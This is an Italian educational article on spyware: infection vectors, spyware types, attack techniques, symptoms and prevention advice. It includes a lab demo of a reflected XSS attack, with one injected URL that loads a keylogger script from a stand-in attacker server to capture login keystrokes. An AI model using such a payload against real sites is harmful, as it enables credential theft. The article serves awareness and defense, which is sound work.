Gli spyware costituiscono una minaccia alla sicurezza della privacy, in quanto possono essere realizzati per sottrarre senza autorizzazione informazioni e dati riservati di privati e imprese quali cronologie, credenziali ed e-mail.
Nella migliore delle ipotesi, tutte le informazioni raccolte possono essere inviate ad un computer remoto per generare pubblicità mirata attraverso popup, banner e spam (in tal caso si parla di adware) sulla base delle preferenze dedotte dai controlli di comportamento di navigazione, ma talvolta lo spyware può essere utilizzato allo scopo di condurre, anche con l’ausilio di tecniche di ingegneria sociale e phishing, attività illecite per carpire strategie di business, segreti aziendali e mettere a segno furti di denaro.
Questa tipologia di malware, grazie alle sue peculiarità, può trovare applicazione anche in materia di intercettazione di conversazioni o comunicazioni in dispositivi elettronici portatili secondo quanto normato dal D.lgs. n.216/2017.
Per meglio comprendere le caratteristiche di questo tipo di malware è indispensabile mettere a fuoco le modalità, gli strumenti e i sintomi di una infezione da spyware (o software spia che dir si voglia).
Indice degli argomenti
Spyware: i vettori d’infezione
Tra i principali vettori d’infezione di PC e dispositivi mobili, si possono annoverare:
- cookies: sono delle informazioni di sessione (dati di navigazione) che usualmente i siti Web memorizzano sui computer dei client. Questi dati possono essere rubati ed utilizzati per accessi impersonificati;
- link e allegati: sfruttando le vulnerabilità nella sicurezza dei browser è sufficiente cliccare su di un link, un allegato di una e-mail per avviare uno script e dirottare la vittima, in modo inconsapevole, verso un sito Web per il download di codice malevolo (drive by download);
- pubblicità ingannevole: gli attaccanti possono ingannare gli utenti, invitandoli a scaricare e installare un programma, presentando e camuffando lo spyware come un indispensabile strumento di utilità. Spesso queste utility pur disinstallandole possono lasciare persistenti e funzionanti le proprie componenti malevole;
- software freeware: spesso, programmi gratuiti che vengono distribuiti come plugin o estensioni necessari nascondono in seno spyware di terze parti;
- altri vettori malevoli: lo spyware può essere veicolato e distribuito anche da altre forme di malware come trojan, rootkit e backdoor;
- app per dispositivi mobili: l’ampia diffusione dei dispositivi mobili e le loro modalità di utilizzo ben si prestano a queste attività che possono protrarsi indisturbate. Poiché qualsiasi app anche legittima può essere rielaborata con codici dannosi, tutti i sistemi mobili, come del resto tutti i dispositivi connessi, sono potenzialmente esposti ad infezioni.
Le tipologie di spyware
Gli spyware possono essere classificati in base alle funzionalità per le quali sono stati creati:
- trojan bancario: i cosiddetti banking trojan sono applicazioni progettate per l’ottenimento di credenziali di istituti di credito. Solitamente vengono sfruttate le vulnerabilità nella sicurezza dei browser per modificare pagine web, intercettare e modificare transazioni ai danni dell’inconsapevole utente ed inviare il tutto a un server remoto per il recupero;
- infostealer: si tratta di applicazioni che scansionano i computer colpiti alla ricerca di username, password, account mail, dati del browser, file di log e di sistema. Anche gli infostealer possono sfruttare le vulnerabilità nella sicurezza dei browser;
- system monitor: applicazioni progettate per memorizzare attività fatte dall’utente, tra cui pressione dei tasti (keylogger), cronologia di ricerche e informazioni di sistema. Possono essere memorizzati anche screenshot delle videate attive;
- captatori informatici: applicazioni utilizzate dalle autorità competenti per indagini ed intercettazioni di comunicazioni o conversazioni in dispositivi elettronici portatili.
Le tecniche di attacco
Di seguito si riportano alcune delle principali strategie di attacco:
- monitoraggio attività di rete: carpire le informazioni personali, credenziali, dati bancari e informazioni aziendali sono gli obiettivi principali. Per pianificare le modalità di attacco, risulta utile monitorare le abitudini online degli utenti attraverso un tracciamento della cronologia di ricerca e di navigazione;
- reindirizzamento della navigazione: il dirottamento inconsapevole (offuscato tramite hijackers) degli utenti verso siti Web illegittimi, che attraverso il cambio delle impostazioni di default dei programmi di navigazione può consentire l’esecuzione di codice nascosto, intaccare la sicurezza e le prestazioni del sistema colpito;
- compromissione dei sistemi: è possibile compromettere preventivamente un sistema, ad esempio tramite backdoor, allo scopo di ottenere successivamente un’intrusione da remoto ed eseguire script nascosti;
- attacchi MITB: con la tecnica del man-in-the-browser è possibile alterare o intercettare la comunicazione degli utenti con il web, compromettendo il programma di navigazione stesso. Questi tipi di attacchi possono concretizzarsi anche con l’ausilio di tecniche di spoofing, ingegneria sociale e phishing.
Sintomi del contagio
I sintomi che potrebbero segnalare la presenza di uno o più spyware installati sul proprio sistema possono essere:
- reindirizzamento verso siti non richiesti e ricezione di popup;
- cambio della home page del browser e del motore di ricerca utilizzati di consueto;
- ricezione di messaggi di errore;
- un degrado generale delle prestazioni del sistema:
- si notano attività del processore e nel traffico di rete inconsuete;
- si notano blocchi e crash delle applicazioni ed attività anomale delle periferiche.
Alcune tipologie di spyware possono alterare le impostazioni di sicurezza esponendo il sistema ad ulteriori infezioni, oppure simulando un cattivo funzionamento dei software di protezione possono indurre l’utente a provvedere alla loro disabilitazione.
Le vittime potenziali degli spyware
Chiunque, potenzialmente, può cadere vittima di un attacco spyware e nessuno può considerarsi immune, in quanto l’interesse degli attaccanti non è tanto chi colpire ma l’informazione da ricavare. Il loro utilizzo, infatti, trova vasto impiego in attività fraudolente, di estorsione e spionaggio industriale.
Una prova pratica di vulnerabilità
Il miglior modo per fare comprendere a clienti e utenti come una vulnerabilità possa rappresentare una reale minaccia, è quello di effettuare prove concrete di fattibilità. Solo così si può avere contezza di come l’impatto conseguente possa avere ripercussioni gravi ad esempio su attività commerciali e sulla reputazione aziendale.
L’esempio pratico che di seguito si propone ad esclusivo scopo educativo, ha l’intento di dimostrare come si possa sfruttare una comune vulnerabilità di tipo XSS riflessa di un sito per iniettare un keylogger.
La prova è stata realizzata in un ambiente virtuale con due server web in esecuzione:
- il server del sito affetto da vulnerabilità XSS raggiungibile all’indirizzo http://localhost dove risiede la pagina di login;
- il server del sito dell’attaccante raggiungibile all’indirizzo http://localhost_hacking dove risiedono i file allestiti per l’attacco:
- keylogger.php
- keylogger.js
Prima di procedere con l’esempio vero e proprio, è opportuno richiamare brevemente dei concetti, nell’ottica che non è sempre così semplice eludere i criteri di protezione ma poiché i modi per generare comportamenti imprevisti nelle applicazioni Web sono innumerevoli, la sicurezza non è mai troppa e la probabilità di successo nel far eseguire del codice arbitrario non è trascurabile.
- In rete, comunemente, quando l’utente vuole visitare una pagina Web, il browser (client) effettua una richiesta HTTP al server erogatore, il quale elabora la richiesta e restituisce in risposta la pagina desiderata. Queste richieste vengono gestite da metodi specifici tramite delle stringhe query che possono essere trasmesse in chiaro (GET) oppure in modalità nascosta (POST). Le pagine Web richieste possono essere elaborate:
- in locale, all’interno del browser dell’utente che ha effettuato la richiesta. In questo caso si parla di pagine create lato client, ad esempio con codice JavaScript o applet java;
- sul server, e successivamente trasmesse al browser che ha fatto la richiesta. In questo caso si parla di pagine create lato server, ad esempio con script di tipo CGI, PHP oppure ASP.
- Il Cross-site scripting (XSS) è un tipo di attacco che prevede una iniezione di codice lato client. La sua forza consiste nel fatto che il codice maligno può essere inserito richiamandolo semplicemente attraverso l’indirizzo web (URL) del sito legittimo che presenta tale vulnerabilità. Nella fattispecie si sfrutterà un XSS riflesso, in cui lo script iniettato ed eseguito lato client causerà lato server una risposta riflessa ad una richiesta di login.
- Il modo più semplice per diffondere un carico malevolo, una volta allestito un link ad hoc, è quello di inviarlo via e-mail tramite le ben note tecniche di persuasione (phishing, ingegneria sociale):
- l’attaccante spedisce il link con lo script iniettato;
- la vittima clicca sul link ed invia la richiesta al sito legittimo;
- il browser della vittima carica la pagina legittima ma anche lo script dannoso;
- lo script spedisce le informazioni private all’attaccante.
Fatte queste piccole premesse procediamo con la nostra prova di vulnerabilità.
Per testare la presenza o meno della vulnerabilità XSS riflessa, ciò che bisogna fare è iniettare sull’URL del sito legittimo un codice javascript di prova (di solito un alert) e verificare che l’esecuzione dello script venga riflessa come risposta.
http:\\localhost\login.php?username=<script>src=”http://localhost_hacking/keylogger.js”</script>
Lo script keylogger.js, una volta in esecuzione, dirotterà con una richiesta HTTP le lettere digitate sul campo username della pagina di login verso il server attaccante ed in ascolto all’indirizzo http://localhost_hacking/.
La parte di codice javascript più significativa è quella deputata al dirottamento, che modificando di fatto l’azione dell’attributo action del form della pagina di autenticazione legittima, trasmette le lettere digitate allo script keylogger.php residente sul server remoto in ascolto (localhost_hacking). Lo script PHP invocato, di volta in volta, registrerà i valori ricevuti dei tasti digitati su di un file dati.txt.
Segue uno stralcio commentato del codice javascript e PHP utilizzato per la prova.
Per evitare l’installazione di spyware o per lo meno moderare l’evenienza di un possibile contagio, oltre che strumenti di protezione attivi in tempo reale e costantemente aggiornati, è indispensabile mettere in pratica, tra gli utenti e i dipendenti, delle semplici regole di autodifesa:
- non aprire e-mail da mittenti improbabili;
- non scaricare file, se non provenienti da fonti fidate;
- per verificare di non essere reindirizzati ad una pagina differente, vedere in anteprima l’effettivo indirizzo di navigazione, passando il puntatore del mouse sopra i link senza cliccarvi;
- ignorare i link proposti da finestre di dialogo. È consigliabile impostare la sicurezza del browser in uso affinché si limitino l’apertura di popup e l’accettazione di cookie;
- fare attenzione a messaggi ed email che richiedono di installare o eseguire programmi per rimuovere spyware e virus in genere. L’esito potrebbe essere l’opposto.
Per gli sviluppatori, poiché una qualsiasi vulnerabilità del software prodotto può rappresentare un rischio rilevante per sé e per i clienti, è fondamentale prevedere un’implementazione del codice secondo stringenti linee guida di sicurezza:
- per prevenire una manomissione dei parametri e l’iniezione di codice arbitrario;
- per mitigare l’evenienza di un dirottamento di sessione e impedire una lettura impropria dei cookie;
- per igienizzare ogni richiesta client prima di far elaborare eventuali risposte ai server.